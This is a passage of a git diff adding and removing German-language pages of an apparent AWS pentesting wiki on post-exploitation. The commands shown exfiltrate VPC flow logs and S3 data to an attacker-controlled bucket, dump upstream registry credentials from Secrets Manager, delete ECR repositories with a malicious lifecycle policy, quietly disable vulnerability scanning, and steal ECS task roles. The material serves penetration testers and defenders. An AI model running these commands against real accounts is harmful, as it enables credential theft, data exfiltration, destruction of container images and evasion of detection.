+--route-table-ids $RTB_IDS \
+--policy-document file://allow-put-get-any-s3.json   # optional
+```
+Zu erfassende Hinweise:
+- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` zeigt eine Route zur AWS S3 prefix list (z. B. `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
+- Von einer instance in diesen subnets (mit IAM perms) kannst du exfil via S3 ohne Internet:
+```bash
+# On the isolated instance (e.g., via SSM):
+echo data > /tmp/x.txt
+aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
+```
+## Option B – Interface VPC Endpoint für API Gateway (execute-api)
+
+**Variablen**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `SUBNET_IDS=<comma-separated private subnets>`
+- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
+
+1) Erstelle den Interface Endpoint und hänge die SG an:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.execute-api \
+--vpc-endpoint-type Interface \
+--subnet-ids $SUBNET_IDS \
+--security-group-ids $SG_VPCE \
+--private-dns-enabled
+```
+Zu erfassende Nachweise:
+- `aws ec2 describe-vpc-endpoints` zeigt den Endpoint im Zustand `available` mit `NetworkInterfaceIds` (ENIs in Ihren Subnetzen).
+- Instanzen in diesen Subnetzen können Private API Gateway Endpunkte über diese VPCE ENIs erreichen (kein Internet‑Pfad erforderlich).
+
+## Auswirkungen
+- Umgeht Perimeter egress controls, indem AWS‑managed private paths zu AWS services genutzt werden.
+- Ermöglicht data exfiltration aus isolierten Subnetzen (z. B. Schreiben nach S3; Aufrufen von Private API Gateway; Zugriff auf Secrets Manager/SSM/STS usw.) ohne IGW/NAT.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
new file mode 100644
index 000000000..e90741f93
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -0,0 +1,74 @@
+# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+Missbrauch von `ec2:CreateFlowLogs`, um VPC-, Subnetz- oder ENI-Flow-Logs direkt in einen vom attacker kontrollierten S3-Bucket zu exportieren. Sobald die delivery role so konfiguriert ist, dass sie in den externen Bucket schreiben kann, werden alle Verbindungen, die auf der überwachten Ressource gesehen werden, aus dem victim account gestreamt.
+
+## Requirements
+- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created).
+- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`.
+- Optional: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here).
+
+## Attack Walkthrough
+
+1) **Attacker** bereitet eine S3-Bucket-Policy vor (im attacker account), die dem VPC Flow Logs delivery service erlaubt, Objekte zu schreiben. Ersetze Platzhalter bevor du sie anwendest:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVPCFlowLogsDelivery",
+"Effect": "Allow",
+"Principal": { "Service": "delivery.logs.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
+"Condition": {
+"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
+}
+}
+]
+}
+```
+Vom attacker account aus anwenden:
+```bash
+aws s3api put-bucket-policy \
+--bucket <attacker-bucket> \
+--policy file://flowlogs-policy.json
+```
+2) **Victim** (compromised principal) erstellt die flow logs, die auf den attacker bucket abzielen:
+```bash
+REGION=us-east-1
+VPC_ID=<vpc-xxxxxxxx>
+ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
+aws ec2 create-flow-logs \
+--resource-type VPC \
+--resource-ids "$VPC_ID" \
+--traffic-type ALL \
+--log-destination-type s3 \
+--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
+--deliver-logs-permission-arn "$ROLE_ARN" \
+--region "$REGION"
+```
+Innerhalb von Minuten erscheinen flow log files im attacker bucket, die Verbindungen für alle ENIs im überwachten VPC/subnet enthalten.
+
+## Nachweis
+
+Beispielhafte flow log records, die in den attacker bucket geschrieben wurden:
+```text
+version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
+2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
+```
+Beweis für Bucket listing:
+```bash
+aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
+```
+## Auswirkungen
+- Kontinuierliche network metadata exfiltration (source/destination IPs, ports, protocols) für das überwachte VPC/subnet/ENI.
+- Ermöglicht Traffic-Analyse, Identifizierung sensibler Dienste und potenzielles Hunting nach security group misconfigurations von außerhalb des Opferkontos.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
deleted file mode 100644
index 8127993b2..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ /dev/null
@@ -1,92 +0,0 @@
-# AWS - ECR Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Für weitere Informationen siehe
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Anmelden, Pull & Push
-```bash
-# Docker login into ecr
-## For public repo (always use us-east-1)
-aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
-## For private repo
-aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
-## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
-
-# Download
-docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
-## If you still have the error "Requested image not found"
-## It might be because the tag "latest" doesn't exit
-## Get valid tags with:
-TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
-curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
-
-# Inspect the image
-docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
-
-# Upload (example uploading purplepanda with tag latest)
-docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-
-# Downloading without Docker
-# List digests
-aws ecr batch-get-image --repository-name level2 \
---registry-id 653711331788 \
---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
-
-## Download a digest
-aws ecr get-download-url-for-layer \
---repository-name level2 \
---registry-id 653711331788 \
---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
-```
-Nachdem Sie die Bilder heruntergeladen haben, sollten Sie **sie auf sensible Informationen überprüfen**:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
-{{#endref}}
-
-### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-
-Ein Angreifer mit einer dieser Berechtigungen kann **eine Lebenszyklusrichtlinie erstellen oder ändern, um alle Bilder im Repository zu löschen** und dann **das gesamte ECR-Repository löschen**. Dies würde zum Verlust aller im Repository gespeicherten Containerbilder führen.
-```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
-echo '{
-"rules": [
-{
-"rulePriority": 1,
-"description": "Delete all images",
-"selection": {
-"tagStatus": "any",
-"countType": "imageCountMoreThan",
-"countNumber": 0
-},
-"action": {
-"type": "expire"
-}
-}
-]
-}' > malicious_policy.json
-
-# Apply the malicious lifecycle policy to the ECR repository
-aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
-
-# Delete the ECR repository
-aws ecr delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete the ECR public repository
-aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete multiple images from the ECR repository
-aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-
-# Delete multiple images from the ECR public repository
-aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
new file mode 100644
index 000000000..db844a58d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
@@ -0,0 +1,206 @@
+# AWS - ECR Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Für weitere Informationen siehe
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Login, Pull & Push
+```bash
+# Docker login into ecr
+## For public repo (always use us-east-1)
+aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
+## For private repo
+aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
+## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
+
+# Download
+docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
+## If you still have the error "Requested image not found"
+## It might be because the tag "latest" doesn't exit
+## Get valid tags with:
+TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
+curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
+
+# Inspect the image
+docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
+docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
+
+# Upload (example uploading purplepanda with tag latest)
+docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+
+# Downloading without Docker
+# List digests
+aws ecr batch-get-image --repository-name level2 \
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+
+## Download a digest
+aws ecr get-download-url-for-layer \
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+```
+Nachdem Sie die Images heruntergeladen haben, sollten Sie **diese auf sensible Informationen prüfen**:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
+
+Ein Angreifer mit einer dieser Berechtigungen kann **eine Lifecycle-Policy erstellen oder ändern, um alle Images im Repository zu löschen** und anschließend **das gesamte ECR-Repository löschen**. Das würde zum Verlust aller im Repository gespeicherten Container-Images führen.
+```bash
+# Create a JSON file with the malicious lifecycle policy
+echo '{
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
+}' > malicious_policy.json
+
+# Apply the malicious lifecycle policy to the ECR repository
+aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
+
+# Delete the ECR repository
+aws ecr delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete the ECR public repository
+aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete multiple images from the ECR repository
+aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+
+# Delete multiple images from the ECR public repository
+aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Exfiltrate Upstream-Registry-Zugangsdaten aus ECR Pull‑Through Cache (PTC)
+
+Wenn ECR Pull‑Through Cache für authentifizierte Upstream-Registries (Docker Hub, GHCR, ACR, etc.) konfiguriert ist, werden die Upstream-Zugangsdaten in AWS Secrets Manager mit einem vorhersehbaren Namenspräfix gespeichert: `ecr-pullthroughcache/`. Betreiber gewähren manchmal ECR-Administratoren weitreichenden Lesezugriff auf Secrets Manager, wodurch credential exfiltration und Wiederverwendung außerhalb von AWS möglich werden.
+
+Anforderungen
+- secretsmanager:ListSecrets
+- secretsmanager:GetSecretValue
+
+Auflisten möglicher PTC-Secrets
+```bash
+aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
+--output text
+```
+Dump gefundener secrets und parse gängiger Felder
+```bash
+for s in $(aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
+aws secretsmanager get-secret-value --secret-id "$s" \
+--query SecretString --output text | tee /tmp/ptc_secret.json
+jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
+jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
+done
+```
+Optional: leaked creds gegen das upstream (read‑only login) validieren
+```bash
+echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
+```
+Auswirkung
+- Das Auslesen dieser Secrets Manager-Einträge liefert wiederverwendbare upstream Registry-Anmeldeinformationen (username/password oder token), die außerhalb von AWS missbraucht werden können, um private Images zu pullen oder — je nach Upstream-Berechtigungen — auf zusätzliche Repositories zuzugreifen.
+
+
+### Registry-weite Tarnung: Scans deaktivieren oder herabstufen über `ecr:PutRegistryScanningConfiguration`
+
+Ein Angreifer mit registry-weiten ECR-Berechtigungen kann stillschweigend das automatische vulnerability scanning für ALLE Repositories reduzieren oder deaktivieren, indem er die registry scanning configuration auf BASIC setzt, ohne scan-on-push rules. Das verhindert, dass neue Image-Pushes automatisch gescannt werden, und verschleiert verwundbare oder bösartige Images.
+
+Voraussetzungen
+- ecr:PutRegistryScanningConfiguration
+- ecr:GetRegistryScanningConfiguration
+- ecr:PutImageScanningConfiguration (optional, per‑repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+
+Registry-weite Herabstufung auf manuell (keine automatischen Scans)
+```bash
+REGION=us-east-1
+# Read current config (save to restore later)
+aws ecr get-registry-scanning-configuration --region "$REGION"
+
+# Set BASIC scanning with no rules (results in MANUAL scanning only)
+aws ecr put-registry-scanning-configuration \
+--region "$REGION" \
+--scan-type BASIC \
+--rules '[]'
+```
+Test mit einem repo und einem image
+```bash
+acct=$(aws sts get-caller-identity --query Account --output text)
+repo=ht-scan-stealth
+aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
+docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
+
+# Verify no scan ran automatically
+aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
+# Optional: will error with ScanNotFoundException if no scan exists
+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
+```
+Optional: weiter herabsetzen auf Repo-Ebene
+```bash
+# Disable scan-on-push for a specific repository
+aws ecr put-image-scanning-configuration \
+--region "$REGION" \
+--repository-name "$repo" \
+--image-scanning-configuration scanOnPush=false
+```
+Auswirkung
+- Neue Image-Pushes in der Registry werden nicht automatisch gescannt, wodurch die Sichtbarkeit von verwundbarem oder bösartigem Inhalt reduziert und die Erkennung verzögert wird, bis ein manueller Scan gestartet wird.
+
+
+### Registry‑weites Downgrade der Scan-Engine via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+
+Verringere die Qualität der Schwachstellenerkennung für die gesamte Registry, indem die BASIC Scan-Engine vom Standard AWS_NATIVE auf die veraltete CLAIR-Engine umgestellt wird. Das deaktiviert das Scannen nicht, kann aber die Ergebnisse/Abdeckung erheblich verändern. Kombiniere dies mit einer BASIC Registry-Scanning-Konfiguration ohne Regeln, um Scans ausschließlich manuell durchzuführen.
+
+Voraussetzungen
+- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
+- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+
+Auswirkung
+- Registry-Einstellung `BASIC_SCAN_TYPE_VERSION` wird auf `CLAIR` gesetzt, sodass nachfolgende BASIC-Scans mit der herabgestuften Engine ausgeführt werden. CloudTrail protokolliert den `PutAccountSetting` API-Aufruf.
+
+Schritte
+```bash
+REGION=us-east-1
+
+# 1) Read current value so you can restore it later
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
+
+# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
+
+# 3) Verify the setting
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
+
+# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
+aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
+
+# 5) Restore to AWS_NATIVE when finished to avoid side effects
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
deleted file mode 100644
index 319835050..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# AWS - ECS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Host IAM-Rollen
-
-In ECS kann eine **IAM-Rolle der Aufgabe** zugewiesen werden, die innerhalb des Containers ausgeführt wird. **Wenn** die Aufgabe innerhalb einer **EC2**-Instanz ausgeführt wird, hat die **EC2-Instanz** eine **andere IAM**-Rolle, die ihr zugeordnet ist.\
-Das bedeutet, dass, wenn es Ihnen gelingt, eine ECS-Instanz zu **kompromittieren**, Sie potenziell die **IAM-Rolle, die mit dem ECR und der EC2-Instanz verbunden ist, erhalten können**. Für weitere Informationen, wie Sie diese Anmeldeinformationen erhalten können, siehe:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-> [!CAUTION]
-> Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
-
-### Privesc zum Knoten, um Anmeldeinformationen und Geheimnisse anderer Container zu stehlen
-
-Darüber hinaus verwendet EC2 Docker, um ECS-Aufgaben auszuführen. Wenn Sie also zum Knoten entkommen oder **auf den Docker-Socket zugreifen** können, können Sie **überprüfen**, welche **anderen Container** ausgeführt werden, und sogar **in sie eindringen** und **ihre angehängten IAM-Rollen stehlen**.
-
-#### Container auf dem aktuellen Host ausführen
-
-Darüber hinaus hat die **EC2-Instanzrolle** normalerweise genügend **Berechtigungen**, um den **Zustand der Containerinstanz** der EC2-Instanzen, die als Knoten im Cluster verwendet werden, zu **aktualisieren**. Ein Angreifer könnte den **Zustand einer Instanz auf DRAINING** ändern, dann wird ECS **alle Aufgaben von ihr entfernen** und die, die als **REPLICA** ausgeführt werden, werden **in einer anderen Instanz ausgeführt**, möglicherweise innerhalb der **Instanz des Angreifers**, sodass er **ihre IAM-Rollen** und potenziell sensible Informationen aus dem Container stehlen kann.
-```bash
-aws ecs update-container-instances-state \
---cluster <cluster> --status DRAINING --container-instances <container-instance-id>
-```
-Die gleiche Technik kann durch **Deregistrierung der EC2-Instanz aus dem Cluster** durchgeführt werden. Dies ist potenziell weniger heimlich, aber es wird **die Aufgaben zwingen, auf anderen Instanzen ausgeführt zu werden:**
-```bash
-aws ecs deregister-container-instance \
---cluster <cluster> --container-instance <container-instance-id> --force
-```
-Eine letzte Technik, um die erneute Ausführung von Aufgaben zu erzwingen, besteht darin, ECS anzuzeigen, dass der **Task oder Container gestoppt wurde**. Es gibt 3 potenzielle APIs, um dies zu tun:
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster <value> \
---status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-### Sensible Informationen aus ECR-Containern stehlen
-
-Die EC2-Instanz wird wahrscheinlich auch die Berechtigung `ecr:GetAuthorizationToken` haben, die es ihr ermöglicht, **Bilder herunterzuladen** (du könntest nach sensiblen Informationen darin suchen).
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
new file mode 100644
index 000000000..40d744ade
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
@@ -0,0 +1,126 @@
+# AWS - ECS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+Für mehr Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Host IAM Roles
+
+In ECS kann einer **IAM role dem task zugewiesen werden**, der innerhalb des container läuft. **Wenn** der task in einer **EC2 instance** ausgeführt wird, hat die **EC2 instance** eine **andere IAM** role angehängt.\
+Das bedeutet, dass wenn es Ihnen gelingt, eine ECS instance zu **compromise**, Sie potenziell die **IAM role, die mit dem ECR und der EC2 instance verknüpft ist, erhalten** können. Für mehr Infos darüber, wie man diese credentials erhält, siehe:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+> [!CAUTION]
+> Beachten Sie, dass wenn die EC2 instance IMDSv2 erzwingt, [**laut der Dokumentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **response of the PUT request** ein **hop limit of 1** haben wird, wodurch es unmöglich wird, von einem container innerhalb der EC2 instance auf die EC2-Metadaten zuzugreifen.
+
+### Privesc to node to steal other containers creds & secrets
+
+Aber außerdem verwendet EC2 docker, um ECS tasks auszuführen, daher, wenn Sie auf den node escapen oder **access the docker socket** erhalten können, können Sie **check**, welche **anderen containers** laufen, und sogar **get inside of them** und die angehängten **IAM roles** stehlen.
+
+#### Making containers run in current host
+
+Außerdem wird die **EC2 instance role** normalerweise genügend **permissions** haben, um den **container instance state** der EC2 instances, die als nodes im Cluster verwendet werden, zu **update**. Ein Angreifer könnte den **state of an instance to DRAINING** ändern, dann wird ECS **remove all the tasks from it** und die als **REPLICA** laufenden Tasks werden in einer **anderen instance** ausgeführt, möglicherweise innerhalb der **attackers instance**, sodass er deren **IAM roles** und potenziell sensible Informationen aus dem Container **stehlen** kann.
+```bash
+aws ecs update-container-instances-state \
+--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+```
+Die gleiche Technik kann durchgeführt werden, indem man **die EC2-Instanz aus dem Cluster deregistriert**. Das ist potenziell weniger unauffällig, aber es wird **erzwingen, dass die tasks auf anderen instances ausgeführt werden:**
+```bash
+aws ecs deregister-container-instance \
+--cluster <cluster> --container-instance <container-instance-id> --force
+```
+Eine letzte Technik, um die Neuausführung von tasks zu erzwingen, besteht darin, ECS anzuzeigen, dass der **task oder container gestoppt wurde**. Es gibt 3 mögliche APIs, um dies zu tun:
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster <value> \
+--status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+### Sensitive Informationen aus ECR-Containern stehlen
+
+Die EC2-Instanz verfügt wahrscheinlich auch über die Berechtigung `ecr:GetAuthorizationToken`, die es ihr erlaubt, **Images herunterzuladen** (du könntest darin nach sensiblen Informationen suchen).
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+### Einen EBS-Snapshot direkt in einer ECS-Task einbinden (configuredAtLaunch + volumeConfigurations)
+
+Missbrauche die native ECS-EBS-Integration (2024+), um den Inhalt eines vorhandenen EBS-Snapshots direkt in einer neuen ECS task/service einzubinden und dessen Daten aus dem Container auszulesen.
+
+- Benötigt (mindestens):
+- ecs:RegisterTaskDefinition
+- Eines von: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole für:
+- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task roles referenced by the task definition
+- Falls der Snapshot mit einer CMK verschlüsselt ist: KMS-Berechtigungen für die Infra-Rolle (die oben genannte AWS managed policy enthält die erforderlichen KMS-Berechtigungen für AWS managed keys).
+
+- Auswirkung: Beliebige Festplatteninhalte aus dem Snapshot lesen (z. B. Datenbankdateien) innerhalb des Containers und über Netzwerk/Logs exfiltrieren.
+
+Schritte (Fargate-Beispiel):
+
+1) Erstelle die ECS infrastructure role (falls sie nicht existiert) und hänge die managed policy an:
+```bash
+aws iam create-role --role-name ecsInfrastructureRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsInfrastructureRole \
+--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
+```
+2) Registriere eine Task-Definition mit einem Volume, das mit `configuredAtLaunch` markiert ist, und binde es im Container ein. Beispiel (gibt das Secret aus und schläft dann):
+```json
+{
+"family": "ht-ebs-read",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
+"containerDefinitions": [
+{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["cat /loot/secret.txt || true; sleep 3600"],
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
+"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
+}
+],
+"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
+}
+```
+3) Erstelle oder aktualisiere einen Service und übergib den EBS-Snapshot über `volumeConfigurations.managedEBSVolume` (erfordert iam:PassRole für die Infra-Rolle). Beispiel:
+```json
+{
+"cluster": "ht-ecs-ebs",
+"serviceName": "ht-ebs-svc",
+"taskDefinition": "ht-ebs-read",
+"desiredCount": 1,
+"launchType": "FARGATE",
+"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
+"volumeConfigurations": [
